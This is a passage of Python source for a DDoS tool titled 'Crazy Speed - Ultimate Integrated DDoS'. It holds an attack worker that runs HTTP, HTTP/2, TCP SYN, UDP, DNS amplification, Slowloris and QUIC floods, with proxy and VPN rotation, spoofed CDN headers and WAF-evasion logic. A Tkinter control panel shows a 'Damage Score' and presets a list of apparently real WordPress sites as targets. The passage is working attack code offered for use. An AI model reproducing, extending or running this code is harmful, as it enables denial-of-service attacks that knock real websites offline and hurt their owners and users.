| keepalive_expiry=60) | |
| timeout = httpx.Timeout(10.0, connect=5.0, read=5.0) | |
| self.httpx_client = httpx.AsyncClient(http2=True, limits=limits, timeout=timeout, verify=False, follow_redirects=True, trust_env=False) | |
| self._log(f"[⚡] HTTP/2 multiplexer: {max_httpx_connections} streams, {max_keepalive} keep-alive.", "INFO") | |
| async def _attack_worker(self, worker_id: int): | |
| while self.running and not self.stop_requested: | |
| try: | |
| identity = None | |
| if self.identity_pool: | |
| identity = self.identity_pool.get_identity() | |
| if identity: | |
| headers = identity.get_headers(keepalive=self.keepalive) | |
| else: | |
| headers = { | |
| "User-Agent": random.choice(USER_AGENTS), | |
| "Accept": random.choice(REALISTIC_ACCEPTS), | |
| "Accept-Encoding": "gzip, deflate, br", | |
| "Accept-Language": random.choice(["en-US,en;q=0.9", "ar-SA,ar;q=0.8"]), | |
| } | |
| if self.use_http2: | |
| for h in ["Connection", "Keep-Alive", "Transfer-Encoding", "Host"]: | |
| headers.pop(h, None) | |
| headers.update(self._get_platform_headers()) | |
| if "Host" in headers: | |
| del headers["Host"] | |
| if "host" in headers: | |
| del headers["host"] | |
| if not self.max_load and self.human_timer: | |
| delay = self.human_timer.next_delay() | |
| await asyncio.sleep(delay) | |
| if self.stop_requested: | |
| break | |
| if self.attack_mode in {"tcp_syn", "mine", "vse", "udp_random", "dns_amplification"}: | |
| target_host = self.host | |
| target_port = self.port | |
| if self.attack_mode == "tcp_syn": | |
| threading.Thread(target=flooder, args=(target_host, target_port, random._urandom(4096), datetime.datetime.now() + datetime.timedelta(seconds=max(1, self.duration or 10))), daemon=True).start() | |
| elif self.attack_mode == "mine": | |
| threading.Thread(target=mine, args=(target_host, target_port, b"\x06\x00/\x00\x00\x00\x02\x0c\x00", datetime.datetime.now() + datetime.timedelta(seconds=max(1, self.duration or 10))), daemon=True).start() | |
| elif self.attack_mode == "vse": | |
| threading.Thread(target=vse, args=(target_host, target_port, b"\xFF\xFF\xFF\xFF\x54\x53\x6F\x75\x72\x63\x65\x20\x45\x6E\x67\x69\x6E\x65\x20\x51\x75\x65\x72\x79", datetime.datetime.now() + datetime.timedelta(seconds=max(1, self.duration or 10))), daemon=True).start() | |
| elif self.attack_mode == "udp_random": | |
| threading.Thread(target=sender, args=(target_host, target_port, datetime.datetime.now() + datetime.timedelta(seconds=max(1, self.duration or 10)), random._urandom(1024)), daemon=True).start() | |
| elif self.attack_mode == "dns_amplification": | |
| if IS_ADMIN and SCAPY_AVAILABLE: | |
| count = max(100, min(2000, self.requested_threads * 2)) | |
| threading.Thread(target=dns_amplification_attack, args=(target_host, 53, count), daemon=True).start() | |
| else: | |
| self._log("[!] DNS amplification requires Admin and Scapy to run.", "WARNING") | |
| await asyncio.sleep(0.001) | |
| continue | |
| path = self.path | |
| if self.random_query: | |
| if '?' in path: | |
| path += f"&_{random.randint(1,999999)}" | |
| else: | |
| path += f"?_{random.randint(1,999999)}" | |
| method = self.http_method | |
| data = None | |
| if worker_id % 10 == 0 and random.random() < 0.1 and IS_ADMIN and SCAPY_AVAILABLE: | |
| threading.Thread(target=dns_amplification_attack, args=(self.host, 53, 100), daemon=True).start() | |
| if self.max_load and worker_id == 0 and random.random() < 0.01: | |
| threading.Thread(target=slowloris_attack, args=(self.host, self.port, 30, 2.0, 15.0, None), daemon=True).start() | |
| if self.max_load and worker_id == 1 and random.random() < 0.01: | |
| asyncio.create_task(quic_flood(self.host, self.port, 20)) | |
| if self.http_method == "POST": | |
| body = AIPayloadGenerator.generate_json_data(random.choice(["login", "comment", "search"])) | |
| headers["Content-Type"] = "application/json" | |
| data = body.encode('utf-8') | |
| url = f"{self.scheme}://{self.host}{path}" | |
| if self.use_js_bypass: | |
| url = add_api_bypass(url) | |
| if self.request_rate and self.request_rate > 0 and not self.max_load: | |
| await asyncio.sleep(1.0 / self.request_rate) | |
| # --- Proxy rotation with auto-blacklist on 403 --- | |
| _max_proxy_retries = 3 if self.proxy_engine else 1 | |
| for _proxy_attempt in range(_max_proxy_retries): | |
| req_start = time.monotonic() | |
| # Pick a proxy (skip ~15% to mix direct requests) | |
| proxy_url = None | |
| _raw_proxy = None | |
| if self.proxy_engine and random.random() > 0.15: | |
| _raw_proxy = self.proxy_engine.get_random_proxy() | |
| if _raw_proxy: | |
| proxy_url = _raw_proxy if _raw_proxy.startswith(('http://', 'https://', 'socks')) else f"http://{_raw_proxy}" | |
| proxy_dict = {"http": proxy_url, "https": proxy_url} if proxy_url else None | |
| _resp_status = None | |
| try: | |
| if self.use_cffi and CURL_CFFI_AVAILABLE and self.cffi_clients: | |
| try: | |
| client = random.choice(self.cffi_clients) | |
| cffi_headers = {} | |
| for h in ["Content-Type", "Cookie", "Authorization", "X-Requested-With"]: | |
| if h in headers: | |
| cffi_headers[h] = headers[h] | |
| elif h.lower() in headers: | |
| cffi_headers[h.lower()] = headers[h.lower()] | |
| cffi_resp = await client.request(method, url, headers=cffi_headers, data=data, proxies=proxy_dict, allow_redirects=True) | |
| _resp_status = cffi_resp.status_code | |
| await self._handle_response(_resp_status, len(cffi_resp.content) if getattr(cffi_resp, 'content', None) else 0, (time.monotonic() - req_start) * 1000.0) | |
| except Exception: | |
| with self.lock: | |
| self.stats['timeouts'] += 1 | |
| if _raw_proxy and self.proxy_engine: | |
| self.proxy_engine.mark_dead(_raw_proxy) | |
| elif self.httpx_client and self.use_http2 and not proxy_url: | |
| resp = await self.httpx_client.request(method, url, headers=headers, content=data) | |
| _resp_status = resp.status_code | |
| await self._handle_response(_resp_status, 0, (time.monotonic() - req_start) * 1000.0) | |
| else: | |
| async with self.session.request(method, url, headers=headers, data=data, ssl=False, proxy=proxy_url) as resp: | |
| _resp_status = resp.status | |
| await self._handle_response(_resp_status, 0, (time.monotonic() - req_start) * 1000.0) | |
| except asyncio.TimeoutError: | |
| with self.lock: | |
| self.stats['timeouts'] += 1 | |
| if _raw_proxy and self.proxy_engine: | |
| self.proxy_engine.mark_dead(_raw_proxy) | |
| except asyncio.CancelledError: | |
| raise | |
| except Exception: | |
| with self.lock: | |
| self.stats['errors'] += 1 | |
| if _raw_proxy and self.proxy_engine: | |
| self.proxy_engine.mark_dead(_raw_proxy) | |
| # If 403 with a proxy, blacklist it and retry with a new one | |
| if _resp_status == 403 and _raw_proxy and self.proxy_engine: | |
| self.proxy_engine.mark_dead(_raw_proxy) | |
| continue # retry with different proxy | |
| break # success or non-proxy 403, don't retry | |
| except asyncio.CancelledError: | |
| break | |
| except Exception as exc: | |
| if self.stop_requested: | |
| break | |
| self._log(f"[!] Worker {worker_id} exception: {exc}", "ERROR") | |
| continue | |
| async def _handle_response(self, status: int, content_len: int = 0, latency_ms: float = 0.0): | |
| with self.lock: | |
| self.stats[f'status_{status}'] += 1 | |
| self.stats['total'] += 1 | |
| total_sent = self.stats['total'] | |
| self.live_analytics.record(status, latency_ms) | |
| # Live visual feedback sampling (Throttled to prevent UI freeze) | |
| if random.random() < 0.005: | |
| if status >= 500: | |
| self._log(f"[🔥] HIT! Server returned {status} (Latency: {latency_ms:.1f}ms)", "ATTACK") | |
| elif status == 403: | |
| self._log(f"[🛡️] BLOCKED! Server returned 403 (WAF Active)", "WARNING") | |
| else: | |
| self._log(f"[⚡] Request Sent -> Status: {status} | Latency: {latency_ms:.1f}ms", "INFO") | |
| self.adaptive_delay.update_success_rate(status) | |
| if self.max_requests > 0 and total_sent >= self.max_requests: | |
| self.stop_requested = True | |
| self._log(f"✅ Reached max requests limit: {self.max_requests}", "INFO") | |
| if self.rate_limiter.should_retry(status): | |
| delay = self.rate_limiter.on_rate_limit() | |
| await asyncio.sleep(delay) | |
| else: | |
| self.rate_limiter.reset() | |
| def _get_platform_headers(self) -> Dict: | |
| headers = {} | |
| if random.random() < 0.3: | |
| headers["CF-Connecting-IP"] = AdvancedHeaderRotator.generate_random_ip() | |
| headers["CF-IPCountry"] = random.choice(["US", "GB", "DE", "FR", "SA", "AE", "EG"]) | |
| headers["CF-Visitor"] = '{"scheme":"https"}' | |
| if random.random() < 0.2: | |
| headers["X-Amz-Cf-Id"] = hashlib.md5(str(random.random()).encode()).hexdigest()[:20] | |
| headers["X-Cache"] = random.choice(["Hit from cloudfront", "Miss from cloudfront"]) | |
| if random.random() < 0.15: | |
| headers["X-Goog-Api-Client"] = f"gcloud-python/{random.randint(1,100)}.{random.randint(1,100)}" | |
| return headers | |
| async def start_attack(self): | |
| self.running = True | |
| self.stop_requested = False | |
| await self._create_session() | |
| if self.vpn_rotator: | |
| self.vpn_rotator.start() | |
| self._log(f"🔄 VPN Auto-Rotation started (every 5 min)", "INFO") | |
| if self.requested_threads != self.threads: | |
| self._log(f"[⚠️] Requested {self.requested_threads} threads, capping to {self.threads} for stability.", "WARNING") | |
| if self.http2_disabled_by_thread_limit: | |
| self._log(f"[!] HTTP/2 disabled because requested threads ({self.requested_threads}) exceed 100. Using HTTP/1.1 for stability.", "WARNING") | |
| self._log(f"🔥 Starting integrated attack on {self.target}", "ATTACK") | |
| self._log(f"🧵 Threads: {self.threads} | Duration: {self.duration}s", "INFO") | |
| workers = [asyncio.create_task(self._attack_worker(i)) for i in range(self.threads)] | |
| self.workers = workers | |
| self.loop = asyncio.get_running_loop() | |
| try: | |
| if self.duration > 0: | |
| start_time = time.monotonic() | |
| while not self.stop_requested and time.monotonic() - start_time < self.duration: | |
| await asyncio.sleep(0.2) | |
| else: | |
| while not self.stop_requested: | |
| await asyncio.sleep(0.2) | |
| finally: | |
| self.running = False | |
| for task in self.workers: | |
| if not task.done(): | |
| task.cancel() | |
| await asyncio.gather(*workers, return_exceptions=True) | |
| if self.session and not self.session.closed: | |
| try: | |
| await self.session.close() | |
| except Exception: | |
| pass | |
| if self.httpx_client: | |
| try: | |
| await self.httpx_client.aclose() | |
| except Exception: | |
| pass | |
| for client in self.cffi_clients: | |
| try: | |
| result = client.close() | |
| if asyncio.iscoroutine(result): | |
| await result | |
| except Exception: | |
| pass | |
| if self.vpn_rotator: | |
| self.vpn_rotator.stop() | |
| # Allow event loop to finalize connections | |
| await asyncio.sleep(0.25) | |
| if self.stop_requested: | |
| self._log("🛑 Attack stopped by user.", "WARNING") | |
| else: | |
| self._log("✅ Attack completed!", "SUCCESS") | |
| def get_stats(self) -> Dict: | |
| with self.lock: | |
| stats = dict(self.stats) | |
| stats['analytics'] = self.live_analytics.get_analytics() | |
| return stats | |
| def stop(self): | |
| self.stop_requested = True | |
| self.running = False | |
| if self.loop and not self.loop.is_closed(): | |
| try: | |
| for task in self.workers: | |
| if not task.done(): | |
| self.loop.call_soon_threadsafe(task.cancel) | |
| if self.session and not self.session.closed: | |
| asyncio.run_coroutine_threadsafe(self.session.close(), self.loop) | |
| if self.httpx_client: | |
| try: | |
| asyncio.run_coroutine_threadsafe(self.httpx_client.aclose(), self.loop) | |
| except Exception: | |
| pass | |
| except Exception: | |
| pass | |
| # ============================================================================ | |
| # ULTIMATE GUI (واجهة رسومية متكاملة مع كل الإعدادات) | |
| # ============================================================================ | |
| class UltimateIntegratedGUI: | |
| def __init__(self): | |
| self.root = tk.Tk() | |
| self.root.title("Crazy Speed - Ultimate Integrated DDoS") | |
| self.root.geometry("1400x900+100+100") | |
| self.root.configure(bg='#0a0a0a') | |
| self.root.lift() | |
| self.root.attributes('-topmost', True) | |
| self.root.after(1000, lambda: self.root.attributes('-topmost', False)) | |
| self.target = tk.StringVar(value="https://example.com") | |
| self.threads = tk.IntVar(value=1000) | |
| self.duration = tk.IntVar(value=60) | |
| self.geo = tk.StringVar(value="default") | |
| self.vpn_mode = tk.StringVar(value="System Default") | |
| self.mode_var = tk.StringVar(value="Integrated") # Integrated, HTTP Flood, TCP Flood, إلخ | |
| self.use_identities = tk.BooleanVar(value=True) | |
| self.use_human_timing = tk.BooleanVar(value=True) | |
| self.use_cffi = tk.BooleanVar(value=True) | |
| self.use_js_bypass = tk.BooleanVar(value=True) | |
| self.use_tcp_spoof = tk.BooleanVar(value=True) | |
| self.use_ai_payload = tk.BooleanVar(value=True) | |
| self.use_captcha = tk.BooleanVar(value=True) | |
| self.use_keepalive = tk.BooleanVar(value=True) | |
| self.use_http2 = tk.BooleanVar(value=False) | |
| self.use_random_query = tk.BooleanVar(value=True) | |
| self.method = tk.StringVar(value="GET") | |
| self.requests = tk.IntVar(value=500000) | |
| self.request_rate = tk.IntVar(value=0) | |
| self.max_load = tk.BooleanVar(value=False) | |
| # Proxy variables (some code paths expect `proxy_var` / `proxy_mode_var`) | |
| self.proxy_file = tk.StringVar(value="") | |
| self.proxy_var = self.proxy_file | |
| self.proxy_mode_var = tk.StringVar(value="System Default") | |
| self.attack_running = False | |
| self.attack_thread = None | |
| self.engine = None | |
| self.stats_queue = queue.Queue() | |
| self._build_ui() | |
| self._apply_style() | |
| self._update_stats_loop() | |
| self.root.after(1000, self.check_and_install_dependencies) | |
| def _build_ui(self): | |
| self.root.configure(bg='#16202b') | |
| self.root.geometry('1180x760') | |
| main_frame = ttk.Frame(self.root, padding=14, style='Main.TFrame') | |
| main_frame.pack(fill=tk.BOTH, expand=True) | |
| header_frame = ttk.Frame(main_frame, style='Main.TFrame') | |
| header_frame.pack(fill=tk.X, pady=(0, 12)) | |
| ttk.Label(header_frame, text='Crazy Speed', style='Title.TLabel').pack(side=tk.LEFT) | |
| ttk.Label(header_frame, text='Integrated Control', style='Subtitle.TLabel').pack(side=tk.LEFT, padx=(10, 0)) | |
| self.status_bar = ttk.Label(main_frame, text='✅ Ready — sleek view, less clutter.', style='Status.TLabel') | |
| self.status_bar.pack(fill=tk.X, pady=(0, 14)) | |
| # Add scrollable canvas for the main content | |
| canvas = tk.Canvas(main_frame, bg='#14202f', highlightthickness=0) | |
| scrollbar = ttk.Scrollbar(main_frame, orient="vertical", command=canvas.yview) | |
| canvas.configure(yscrollcommand=scrollbar.set) | |
| scrollbar.pack(side=tk.RIGHT, fill=tk.Y) | |
| canvas.pack(side=tk.LEFT, fill=tk.BOTH, expand=True) | |
| content_frame = ttk.Frame(canvas, style='Main.TFrame') | |
| canvas_window = canvas.create_window((0, 0), window=content_frame, anchor='nw') | |
| def configure_canvas(event): | |
| canvas.itemconfig(canvas_window, width=event.width) | |
| def configure_content(event): | |
| canvas.configure(scrollregion=canvas.bbox("all")) | |
| canvas.bind("<Configure>", configure_canvas) | |
| content_frame.bind("<Configure>", configure_content) | |
| def _on_mousewheel(event): | |
| widget = event.widget | |
| if isinstance(widget, tk.Text): | |
| return | |
| canvas.yview_scroll(int(-1*(event.delta/120)), "units") | |
| self.root.bind_all("<MouseWheel>", _on_mousewheel) | |
| content_frame.columnconfigure(0, weight=2) | |
| content_frame.columnconfigure(1, weight=1) | |
| content_frame.rowconfigure(0, weight=1) | |
| content_frame.rowconfigure(1, weight=1) | |
| left_panel = ttk.Frame(content_frame, style='Main.TFrame') | |
| left_panel.grid(row=0, column=0, sticky=tk.NSEW, padx=(0, 10)) | |
| right_panel = ttk.Frame(content_frame, style='Main.TFrame') | |
| right_panel.grid(row=0, column=1, sticky=tk.NSEW, padx=(10, 0)) | |
| # --- Responsive layout: stack panels when window is narrow --- | |
| self._content_frame = content_frame | |
| self._left_panel = left_panel | |
| self._right_panel = right_panel | |
| self._is_stacked = False | |
| def _responsive_layout(event): | |
| if event.widget != self.root: | |
| return | |
| width = event.width | |
| if width < 900 and not self._is_stacked: | |
| self._right_panel.grid_forget() | |
| self._right_panel.grid(row=1, column=0, sticky=tk.NSEW, padx=(0, 0), pady=(12, 0)) | |
| self._content_frame.columnconfigure(1, weight=0) | |
| self._is_stacked = True | |
| elif width >= 900 and self._is_stacked: | |
| self._right_panel.grid_forget() | |
| self._right_panel.grid(row=0, column=1, sticky=tk.NSEW, padx=(10, 0)) | |
| self._content_frame.columnconfigure(1, weight=1) | |
| self._is_stacked = False | |
| self.root.bind("<Configure>", _responsive_layout) | |
| attack_card = ttk.Labelframe(left_panel, text='Attack Control', padding=14, style='Card.TLabelframe') | |
| attack_card.pack(fill=tk.X, expand=False) | |
| attack_card.columnconfigure(1, weight=1) | |
| attack_card.columnconfigure(3, weight=1) | |
| ttk.Label(attack_card, text='Target URL', style='FieldLabel.TLabel').grid(row=0, column=0, sticky=tk.W, pady=4) | |
| target_urls = [ | |
| "https://newsvix.online/feed", | |
| "https://newsvix.online/comments/feed/", | |
| "https://newsvix.online/wp-json/wp/v2/posts", | |
| "https://techp.almontsf.com/feed/", | |
| "https://techp.almontsf.com/comments/feed/", | |
| "https://techp.almontsf.com/wp-json/wp/v2/posts", | |
| "https://primepropertynow.com/feed/", | |
| "https://primepropertynow.com/comments/feed/", | |
| "https://primepropertynow.com/wp-json/wp/v2/posts", | |
| "http://al3rbygo.com/feed/", | |
| "http://al3rbygo.com/wp-json/wp/v2/posts", | |
| "https://pub1.bigcarinsurance.com/feed/", | |
| "https://pub1.bigcarinsurance.com/wp-json/wp/v2/posts", | |
| "https://pub3.bigcarinsurance.com/feed/", | |
| "https://pub3.bigcarinsurance.com/wp-json/wp/v2/posts", | |
| "https://pub5.bigcarinsurance.com/feed/", | |
| "https://pub5.bigcarinsurance.com/wp-json/wp/v2/posts", | |
| "https://pub6.bigcarinsurance.com/feed/", | |
| "https://pub6.bigcarinsurance.com/wp-json/wp/v2/posts", | |
| "https://crizyman.online/feed/", | |
| "https://crizyman.online/comments/feed/", | |
| "https://ryfex.online/feed/", | |
| "https://ryfex.online/wp-json/wp/v2/posts", | |
| "https://ryfex.online/sitemap.xml" | |
| ] | |
| ttk.Combobox(attack_card, textvariable=self.target, values=target_urls).grid(row=0, column=1, columnspan=3, sticky=tk.EW, padx=(8, 0)) | |
| button_row = ttk.Frame(attack_card, style='Main.TFrame') | |
| button_row.grid(row=1, column=0, columnspan=4, sticky=tk.EW, pady=(10, 8)) | |
| ttk.Button(button_row, text='Analyze', command=self.analyze_target, style='Action.TButton').pack(side=tk.LEFT, expand=True, fill=tk.X, padx=4) | |
| ttk.Button(button_row, text='Origin IP', command=self.find_origin_ip_ui, style='Action.TButton').pack(side=tk.LEFT, expand=True, fill=tk.X, padx=4) | |
| button_row2 = ttk.Frame(attack_card, style='Main.TFrame') | |
| button_row2.grid(row=2, column=0, columnspan=4, sticky=tk.EW, pady=(0, 16)) | |
| ttk.Button(button_row2, text='Load Targets', command=self.load_targets_ui, style='Action.TButton').pack(side=tk.LEFT, expand=True, fill=tk.X, padx=4) | |
| ttk.Button(button_row2, text='Schedule', command=self.schedule_attack_ui, style='Action.TButton').pack(side=tk.LEFT, expand=True, fill=tk.X, padx=4) | |
| ttk.Label(attack_card, text='Mode', style='FieldLabel.TLabel').grid(row=3, column=0, sticky=tk.W, pady=6) | |
| ttk.Combobox(attack_card, textvariable=self.mode_var, values=['Integrated', 'HTTP Flood', 'TCP Flood', 'UDP Flood', 'DNS Amplification', 'TCP SYN', 'Minecraft', 'VSE', 'UDP Random', 'Slowloris', 'Async Slowloris', 'WebSocket Flood', 'H2 Rapid Reset', 'XML-RPC', 'Slow HTTP', 'Port Scan', 'Rotating Targets'], state='readonly', width=18, style='FieldEntry.TEntry').grid(row=3, column=1, sticky=tk.EW, padx=(8, 0)) | |
| ttk.Label(attack_card, text='Method', style='FieldLabel.TLabel').grid(row=3, column=2, sticky=tk.W, padx=(16, 0), pady=6) | |
| ttk.Combobox(attack_card, textvariable=self.method, values=['GET', 'POST'], state='readonly', width=14, style='FieldEntry.TEntry').grid(row=3, column=3, sticky=tk.EW, padx=(8, 0)) | |
| ttk.Label(attack_card, text='Threads', style='FieldLabel.TLabel').grid(row=4, column=0, sticky=tk.W, pady=6) | |
| ttk.Spinbox(attack_card, from_=100, to=10000, textvariable=self.threads, width=14, style='FieldEntry.TEntry').grid(row=4, column=1, sticky=tk.EW, padx=(8, 0)) | |
| ttk.Label(attack_card, text='Duration (s)', style='FieldLabel.TLabel').grid(row=4, column=2, sticky=tk.W, padx=(16, 0), pady=6) | |
| ttk.Spinbox(attack_card, from_=1, to=3600, textvariable=self.duration, width=14, style='FieldEntry.TEntry').grid(row=4, column=3, sticky=tk.EW, padx=(8, 0)) | |
| ttk.Label(attack_card, text='Requests', style='FieldLabel.TLabel').grid(row=5, column=0, sticky=tk.W, pady=6) | |
| ttk.Spinbox(attack_card, from_=0, to=10000000, textvariable=self.requests, width=14, style='FieldEntry.TEntry').grid(row=5, column=1, sticky=tk.EW, padx=(8, 0)) | |
| ttk.Label(attack_card, text='Geo', style='FieldLabel.TLabel').grid(row=5, column=2, sticky=tk.W, padx=(16, 0), pady=6) | |
| ttk.Combobox(attack_card, textvariable=self.geo, values=list(GEO_PROFILES.keys()), state='readonly', width=14, style='FieldEntry.TEntry').grid(row=5, column=3, sticky=tk.EW, padx=(8, 0)) | |
| ttk.Label(attack_card, text='VPN Mode', style='FieldLabel.TLabel').grid(row=6, column=0, sticky=tk.W, pady=6) | |
| ttk.Combobox(attack_card, textvariable=self.vpn_mode, values=['System Default', 'Cloudflare WARP', 'Tuxler (Residential)', 'Tuxler (Data Center)', 'IP Sharkk'], state='readonly', width=20, style='FieldEntry.TEntry').grid(row=6, column=1, sticky=tk.EW, padx=(8, 0)) | |
| ttk.Label(attack_card, text='Proxy File', style='FieldLabel.TLabel').grid(row=6, column=2, sticky=tk.W, padx=(16, 0), pady=6) | |
| proxy_row = ttk.Frame(attack_card, style='Main.TFrame') | |
| proxy_row.grid(row=6, column=3, sticky=tk.EW, padx=(8, 0)) | |
| ttk.Entry(proxy_row, textvariable=self.proxy_file, style='FieldEntry.TEntry').pack(side=tk.LEFT, fill=tk.X, expand=True) | |
| ttk.Button(proxy_row, text='Browse', command=self.browse_proxy, style='Action.TButton').pack(side=tk.LEFT, padx=(8, 0)) | |
| control_buttons = ttk.Frame(attack_card, style='Main.TFrame') | |
| control_buttons.grid(row=7, column=0, columnspan=4, sticky=tk.EW, pady=(20, 0)) | |
| self.start_btn = ttk.Button(control_buttons, text='START', command=self.start_attack, style='Accent.TButton') | |
| self.start_btn.pack(side=tk.LEFT, expand=True, fill=tk.X, padx=4) | |
| self.auto_btn = ttk.Button(control_buttons, text='MAX LOAD', command=self.set_max_load, style='Secondary.TButton') | |
| self.auto_btn.pack(side=tk.LEFT, expand=True, fill=tk.X, padx=4) | |
| self.stop_btn = ttk.Button(control_buttons, text='STOP', command=self.stop_attack, style='Danger.TButton', state=tk.DISABLED) | |
| self.stop_btn.pack(side=tk.LEFT, expand=True, fill=tk.X, padx=4) | |
| self.bypass_btn = ttk.Button(control_buttons, text='JS Bypass OFF', command=self.toggle_bypass, style='Secondary.TButton') | |
| self.bypass_btn.pack(side=tk.LEFT, expand=True, fill=tk.X, padx=4) | |
| options_card = ttk.Labelframe(left_panel, text='Quick Options', padding=14, style='Card.TLabelframe') | |
| options_card.pack(fill=tk.X, expand=False, pady=(12, 0)) | |
| options_card.columnconfigure(0, weight=1) | |
| options_card.columnconfigure(1, weight=1) | |
| option_list = [ | |
| ('Identities', self.use_identities), | |
| ('Human Timing', self.use_human_timing), | |
| ('TLS Spoof', self.use_cffi), | |
| ('JS Bypass (API)', self.use_js_bypass), | |
| ('TCP Spoof', self.use_tcp_spoof), | |
| ('AI Payload', self.use_ai_payload), | |
| ('CAPTCHA', self.use_captcha), | |
| ('Keep-Alive', self.use_keepalive), | |
| ('HTTP/2', self.use_http2), | |
| ('Random Query', self.use_random_query), | |
| ] | |
| for idx, (label, var) in enumerate(option_list): | |
| row = idx // 2 | |
| col = idx % 2 | |
| ttk.Checkbutton(options_card, text=label, variable=var, style='Option.TCheckbutton').grid(row=row, column=col, sticky=tk.W, padx=6, pady=6) | |
| status_card = ttk.Labelframe(right_panel, text='Live Status', padding=14, style='Card.TLabelframe') | |
| status_card.pack(fill=tk.BOTH, expand=True) | |
| status_card.columnconfigure(0, weight=1) | |
| status_card.columnconfigure(1, weight=1) | |
| self.stats_labels = {} | |
| stat_keys = ['Total', 'Status 200', 'Status 400', 'Status 403', 'Status 429', 'Status 500', 'Status 502', 'Status 503', 'Status 504', 'Errors', 'Timeouts'] | |
| for idx, key in enumerate(stat_keys): | |
| frame = ttk.Frame(status_card, style='StatFrame.TFrame') | |
| frame.grid(row=idx // 2, column=idx % 2, sticky=tk.EW, padx=6, pady=6) | |
| ttk.Label(frame, text=key, style='StatLabel.TLabel').pack(anchor=tk.W) | |
| self.stats_labels[key] = ttk.Label(frame, text='0', style='StatValue.TLabel') | |
| self.stats_labels[key].pack(anchor=tk.W, pady=(4, 0)) | |
| analytics_card = ttk.Labelframe(right_panel, text='Analytics', padding=14, style='Card.TLabelframe') | |
| analytics_card.pack(fill=tk.X, expand=False, pady=(12, 0)) | |
| analytics_card.columnconfigure((0, 1, 2, 3), weight=1) | |
| self.analytics_labels = {} | |
| analytics_keys = ['Latency (ms)', 'Peak RPS', 'Damage Score', 'Server Health'] | |
| for idx, key in enumerate(analytics_keys): | |
| frame = ttk.Frame(analytics_card, style='StatFrame.TFrame') | |
| frame.grid(row=0, column=idx, sticky=tk.EW, padx=6, pady=6) | |
| ttk.Label(frame, text=key, style='StatLabel.TLabel').pack(anchor=tk.W) | |
| self.analytics_labels[key] = ttk.Label(frame, text='-', style='StatValue.TLabel') | |
| self.analytics_labels[key].pack(anchor=tk.W, pady=(4, 0)) | |
| system_status_card = ttk.Labelframe(right_panel, text='System Status', padding=12, style='Card.TLabelframe') | |
| system_status_card.pack(fill=tk.X, expand=False, pady=(12, 0)) | |
| system_status_card.columnconfigure(0, weight=1) | |
| system_status_card.columnconfigure(1, weight=1) | |
| self.system_status = {} | |
| for idx, label in enumerate(['Identity Pool', 'Human Timer', 'TLS Spoof', 'JS Bypass', 'TCP Spoof', 'AI Payload', 'VPN Rotator']): | |
| frame = ttk.Frame(system_status_card, style='StatFrame.TFrame') | |
| frame.grid(row=idx // 2, column=idx % 2, sticky=tk.EW, padx=6, pady=4) | |
| ttk.Label(frame, text=label, style='StatLabel.TLabel').pack(anchor=tk.W) | |
| self.system_status[label] = ttk.Label(frame, text='⏸️ Idle', style='StatValue.TLabel') | |
| self.system_status[label].pack(anchor=tk.W, pady=(4, 0)) | |
| self.shield_label = ttk.Label(right_panel, text='🛡️ Protection status pending...', style='Shield.TLabel') | |
| self.shield_label.pack(fill=tk.X, pady=(10, 12)) | |
| log_card = ttk.Labelframe(right_panel, text='Activity Log', padding=14, style='Card.TLabelframe') | |
| log_card.pack(fill=tk.BOTH, expand=True) | |
| self.log_text = scrolledtext.ScrolledText(log_card, height=16, bg='#0c1725', fg='#dde5f2', font=('Courier', 10), insertbackground='#ffffff', bd=0, highlightthickness=0) | |
| self.log_text.pack(fill=tk.BOTH, expand=True) | |
| self._configure_log_tags() | |
| self.log('🔥 Interface updated to smooth modern layout.', 'SUCCESS') | |
| self.log('⚡ Attack control, options, and logs are now arranged for clarity.', 'INFO') | |
| def _apply_style(self): | |
| style = ttk.Style() | |
| style.theme_use('clam') | |
| style.configure('Main.TFrame', background='#14202f') | |
| style.configure('Card.TLabelframe', background='#192938', foreground='#99c9ff', bordercolor='#1f2f3f', borderwidth=1) | |
| style.configure('TLabelframe.Label', background='#192938', foreground='#99c9ff', font=('Segoe UI', 10, 'bold')) | |
| style.configure('FieldLabel.TLabel', background='#14202f', foreground='#d8e4f0', font=('Segoe UI', 10, 'bold')) | |
| style.configure('Title.TLabel', background='#14202f', foreground='#ffffff', font=('Segoe UI', 22, 'bold')) | |
| style.configure('Subtitle.TLabel', background='#14202f', foreground='#a5caff', font=('Segoe UI', 11)) | |
| style.configure('Status.TLabel', background='#14202f', foreground='#c7e7ff', font=('Segoe UI', 10, 'bold')) | |
| style.configure('FieldEntry.TEntry', fieldbackground='#0f1b2b', foreground='#e3ecf7', background='#0f1b2b') | |
| style.configure('TEntry', fieldbackground='#0f1b2b', foreground='#e3ecf7') | |
| style.configure('TCombobox', fieldbackground='#0f1b2b', foreground='#e3ecf7') | |
| style.configure('TFrame', background='#14202f') | |
| style.configure('Panel.TFrame', background='#14202f') | |
| style.configure('StatFrame.TFrame', background='#12202d') | |
| style.configure('StatLabel.TLabel', background='#12202d', foreground='#88bfff', font=('Segoe UI', 9, 'bold')) | |
| style.configure('StatValue.TLabel', background='#12202d', foreground='#f8fafc', font=('Segoe UI', 12, 'bold')) | |
| style.configure('Shield.TLabel', background='#14202f', foreground='#b3f2d6', font=('Segoe UI', 10, 'bold')) | |
| style.configure('Action.TButton', background='#2563eb', foreground='#ffffff', font=('Segoe UI', 10, 'bold')) | |
| style.configure('Accent.TButton', background='#10b981', foreground='#ffffff', font=('Segoe UI', 10, 'bold')) | |
| style.configure('Secondary.TButton', background='#475569', foreground='#ffffff', font=('Segoe UI', 10, 'bold')) | |
| style.configure('Danger.TButton', background='#ef4444', foreground='#ffffff', font=('Segoe UI', 10, 'bold')) | |
| style.configure('Option.TCheckbutton', background='#14202f', foreground='#d8e4f0', font=('Segoe UI', 10), padding=(6, 4)) | |
| style.map('Option.TCheckbutton', background=[('active', '#162a3d')], foreground=[('active', '#ffffff')]) | |
| style.configure('TButton', padding=8) | |
| style.map('Action.TButton', background=[('active', '#3b82f6')]) | |
| style.map('Accent.TButton', background=[('active', '#34d399')]) | |
| style.map('Secondary.TButton', background=[('active', '#64748b')]) | |
| style.map('Danger.TButton', background=[('active', '#fb7185')]) | |
| self.root.configure(bg='#14202f') | |
| def _configure_log_tags(self): | |
| self.log_text.tag_config('INFO', foreground='#a9ffb3') | |
| self.log_text.tag_config('WARNING', foreground='#ffd166') | |
| self.log_text.tag_config('ERROR', foreground='#ff6b6b') | |
| self.log_text.tag_config('SUCCESS', foreground='#8be9a1') | |
| self.log_text.tag_config('ATTACK', foreground='#ff86c7') | |
| def log(self, message: str, level: str = "INFO"): | |
| timestamp = datetime.datetime.now().strftime("%H:%M:%S") | |
